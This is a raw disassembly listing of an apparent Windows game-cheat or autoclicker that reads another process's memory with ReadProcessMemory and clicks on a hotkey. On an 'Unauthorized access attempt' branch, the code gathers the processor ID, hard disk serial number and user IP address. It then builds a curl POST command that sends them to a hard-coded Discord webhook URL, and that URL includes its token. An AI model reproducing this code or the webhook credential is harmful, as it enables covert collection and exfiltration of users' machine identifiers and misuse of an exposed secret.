call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Delay__Min___Max_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004670
mov rcx, rax
movss xmm1, dword [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x14000bd64]
call fcn.140004670
mov rcx, rax
movss xmm1, dword [rbp - 0x2c]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140004850]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.UnADS:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004670
mov rcx, rax
lea rdx, [rbp + 0x250]
call fcn.140007520
mov rcx, rax
lea rdx, [0x140004850]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor bl, bl
mov ecx, esi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
je 0x140005ba2
mov ecx, 2
call fcn.140003f30
test al, al
je 0x140005ba2
lea r8, [rbp - 0x28]
mov rdx, r14
mov rcx, rdi
call fcn.140008300
test rax, rax
je 0x140005c7c
mov qword [rsp + 0x20], r15
mov r9d, 8
lea r8, [rbp]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140005c73
cmp qword [rbp], 0
je 0x140005ba2
mov ecx, 2
call fcn.140003f30
test al, al
je 0x140005ba2
lea rdx, [0x14000bdf8]
lea rcx, [rbp + 0x250]
call fcn.1400074d0
test al, al
je 0x140005c67
test bl, bl
jne 0x140005ba4
mov cl, 1
movss xmm1, dword [rbp - 0x30]
movss xmm2, dword [rbp - 0x2c]
call fcn.140003c50
lea rdx, str.Clicked
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004670
mov rcx, rax
lea rdx, [0x140004850]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov bl, 1
jmp 0x140005ba4
test bl, bl
jne 0x140005ba4
xor ecx, ecx
jmp 0x140005c2e
lea rdx, str.Failed_to_read_memory.
jmp 0x140005c83
lea rdx, str.Failed_to_read_pointer_chain.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140003630
lea rdx, [0x140003810]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x250]
call fcn.140001b30
nop
lea rcx, [rbp + 0x180]
call fcn.140001b30
nop
lea rcx, [rbp - 0x28]
call fcn.140006b10
jmp 0x140005d1f
lea rdx, str.Neither_process_found:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140003630
mov rcx, rax
lea rdx, [rbp + 0x220]
call fcn.1400072d0
mov rcx, rax
lea rdx, str._or
call fcn.140003630
mov rcx, rax
lea rdx, [rbp + 0x200]
call fcn.1400072d0
lea rdx, [0x140003810]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x270]
call fcn.140001ab0
nop
lea rcx, [rbp + 0x240]
call fcn.140006c30
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 7
jbe 0x140005d82
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqa xmm0, xmmword [0x14000be10]
movdqu xmmword [rbp + 0x210], xmm0
mov word [rbp + 0x200], r15w
mov rdx, qword [rbp + 0x238]
cmp rdx, 7
jbe 0x140005de8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ddb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006995
call fcn.14000860c
movdqa xmm0, xmmword [0x14000be10]
movdqu xmmword [rbp + 0x230], xmm0
mov word [rbp + 0x220], r15w
jmp 0x1400069af
lea rdx, str.uh_oh_you_arent_meant_to_have_this
call fcn.140003630
mov rcx, rax
lea rdx, [0x140003810]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x80]
call fcn.140001980
nop
lea r8, [rbp + 0x120]
cmp qword [rbp + 0x138], 7
cmova r8, qword [rbp + 0x120]
mov rax, qword [rbp + 0x130]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.140001d50
nop
lea rcx, [rbp + 0x80]
call fcn.140001890
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x80]
call fcn.140001980
nop
lea r8, [rbp + 0x100]
cmp qword [rbp + 0x118], 7
cmova r8, qword [rbp + 0x100]
mov rax, qword [rbp + 0x110]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.140001d50
nop
lea rcx, [rbp + 0x80]
call fcn.140001890
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov ecx, 0x90
call fcn.1400085d0
mov r14, rax
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x170], 0x80
mov eax, 0x8f
mov qword [rbp + 0x178], rax
movaps xmm0, xmmword [str.https:__canary.discord.com_api_webhooks_1264877351552946259_spnkJBC2q02QVz3_fygga3TWOHf_c8srEvpv6konv0ZcudX_50gFzy4zEbJVAE3futpI]
movups xmmword [r14], xmm0
movaps xmm1, xmmword [0x14000bae0]
movups xmmword [r14 + 0x10], xmm1
movaps xmm0, xmmword [0x14000baf0]
movups xmmword [r14 + 0x20], xmm0
movaps xmm1, xmmword [0x14000bb00]
movups xmmword [r14 + 0x30], xmm1
movaps xmm0, xmmword [0x14000bb10]
movups xmmword [r14 + 0x40], xmm0
movaps xmm1, xmmword [0x14000bb20]
movups xmmword [r14 + 0x50], xmm1
movaps xmm0, xmmword [0x14000bb30]
movups xmmword [r14 + 0x60], xmm0
movaps xmm1, xmmword [0x14000bb40]
movups xmmword [r14 + 0x70], xmm1
mov byte [r14 + 0x80], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov ecx, 0x70
call fcn.1400085d0
mov rcx, rax
mov qword [rbp + 0x140], rax
movdqa xmm0, xmmword [0x14000be30]
movdqu xmmword [rbp + 0x150], xmm0
movaps xmm0, xmmword [str.curl__i__H__Accept:_application_json___H__Content_Type:application_json___X_POST___data___content_:__]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x14000b9b0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x14000b9c0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x14000b9d0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x14000b9e0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x14000b9f0]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [0x14000ba00]
movsd qword [rax + 0x60], xmm0
movzx eax, byte [0x14000ba08]
mov byte [rcx + 0x68], al
mov byte [rcx + 0x69], 0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov esi, 5
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], 0xf
mov eax, dword [str.__]
mov dword [rbp], eax
movzx eax, byte [0x14000ba10]
mov byte [rbp + 4], al
mov byte [rbp + 5], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rdx, qword [rbp + 0x50]
sub rax, rdx
cmp rax, 0x30
jb 0x140006aef
lea r13, [rbp + 0x40]
mov r12, qword [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova r13, r12
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea r15, [rdx + 0x30]
mov ebx, 0xf
lea rdi, [rsp + 0x70]
cmp r15, rbx
jbe 0x140006157
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000610d
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400085d0
test rax, rax
je 0x14000613f
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000614e
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140006127
mov rdi, rcx
jmp 0x140006152
cmp rcx, 0x1000
jb 0x140006146
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006afb
jmp 0x1400060f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400085d0
mov rdi, rax
mov rdx, qword [rbp + 0x50]
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], rbx
movups xmm0, xmmword [str.Unauthorized_access_attempt__nProcessor_ID:]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14000bb68]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [0x14000bb78]
movups xmmword [rdi + 0x20], xmm0
lea rcx, [rdi + 0x30]
mov r8, rdx
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r15], 0
mov r8d, 2
lea rdx, [0x14000ba2c]
lea rcx, [rsp + 0x70]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov r8d, 0x19
lea rdx, str.Hard_Disk_Serial_Number:
lea rcx, [rbp - 0x50]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea r9, [rbp + 0x60]
mov r15, qword [rbp + 0x60]
mov r13, qword [rbp + 0x78]
cmp r13, 0xf
cmova r9, r15
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
mov rax, rdx
sub rax, rcx
mov rdi, qword [rbp + 0x70]
cmp rdi, rax
ja 0x140006277
lea rax, [rdi + rcx]
mov qword [rbp - 0x18], rax
lea rbx, [rbp - 0x28]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x28]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
lea rax, [rbp - 0x28]
xor ebx, ebx
jmp 0x140006290
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.1400025c0
mov r13, qword [rbp + 0x78]
mov r15, qword [rbp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 2
lea rdx, [0x14000ba2c]
lea rcx, [rbp - 0x70]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x11
lea rdx, str.User_IP_Address:
lea rcx, [rbp + 0x20]
call fcn.140002270
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0xf
cmova r9, qword [rbp + 0x1a0]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
mov rdi, qword [rbp + 0x1b0]
cmp rdi, rax
ja 0x1400063b0
lea rax, [rdi + rcx]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
lea rax, [rsp + 0x50]
xor ebx, ebx
jmp 0x1400063c2
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.1400025c0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1d0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140006426
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006421
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006421
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqa xmm6, xmmword [0x14000be20]
movdqu xmmword [rsp + 0x60], xmm6
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140006477
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006472
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006472
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp + 0x30], xmm6
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400064be
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400064b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400064b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp - 0x60], xmm6
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140006505
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006500
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006500
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp - 0x18], xmm6
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000654c
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006547
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006547
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp - 0x40], xmm6
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140006594
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000658f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000658f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], 0
lea r8, [rbp + 0x1c0]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x1e0]
call fcn.1400070f0
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x1400065fe
lea rax, [rcx + 5]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x1400065e3
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8, rsi
lea rdx, [rbp]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
xor ebx, ebx
jmp 0x140006615
mov qword [rsp + 0x20], rsi
lea r9, [rbp]
mov rdx, rsi
mov rcx, rdi
call fcn.1400025c0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x80
jb 0x1400066a0
lea rax, [rcx + 0x80]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x80
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x80], 0
lea rax, [rsp + 0x30]
mov ebx, 0x8f
jmp 0x1400066c9
mov qword [rsp + 0x20], 0x80
mov r9, r14
mov edx, 0x80
lea rcx, [rsp + 0x30]
call fcn.1400025c0
mov rbx, qword [rbp + 0x178]
mov r14, qword [rbp + 0x160]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0xf
mov byte [rax], cl
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140006728
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006723
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006723
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x140006777
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006772
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006772
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqu xmmword [rbp + 0x1f0], xmm6
mov byte [rbp + 0x1e0], 0
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
lea rcx, [rbp - 0x70]
call fcn.140004550
nop
lea rcx, [rbp - 0x70]
call fcn.1400048f0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400067e7
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400067e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400067e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140006826
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006820
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006820
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x14000686b
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006865
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006865
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400068aa
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x1400068ef
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
nop
cmp rbx, 0xf
jbe 0x14000692a
lea rdx, [rbx + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140006921
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006921
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14000860c
nop
cmp r13, 0xf
jbe 0x140006965
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14000695c
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000695c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14000860c
nop
mov rax, qword [rbp + 0x58]
cmp rax, 0xf
jbe 0x1400069a4
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14000699c
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000699c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.14000860c
xor r15d, r15d
movdqa xmm0, xmmword [0x14000be10]
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x140006a00
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400069f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqa xmm0, xmmword [0x14000be10]
movdqu xmmword [rbp + 0x110], xmm0
mov word [rbp + 0x100], r15w
mov rdx, qword [rbp + 0x138]
cmp rdx, 7
jbe 0x140006a61
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
movdqa xmm0, xmmword [0x14000be10]
movdqu xmmword [rbp + 0x130], xmm0
mov word [rbp + 0x120], r15w
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x140006ab5
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ab0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006ab0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000860c
mov eax, 1
mov rcx, qword [rbp + 0x290]
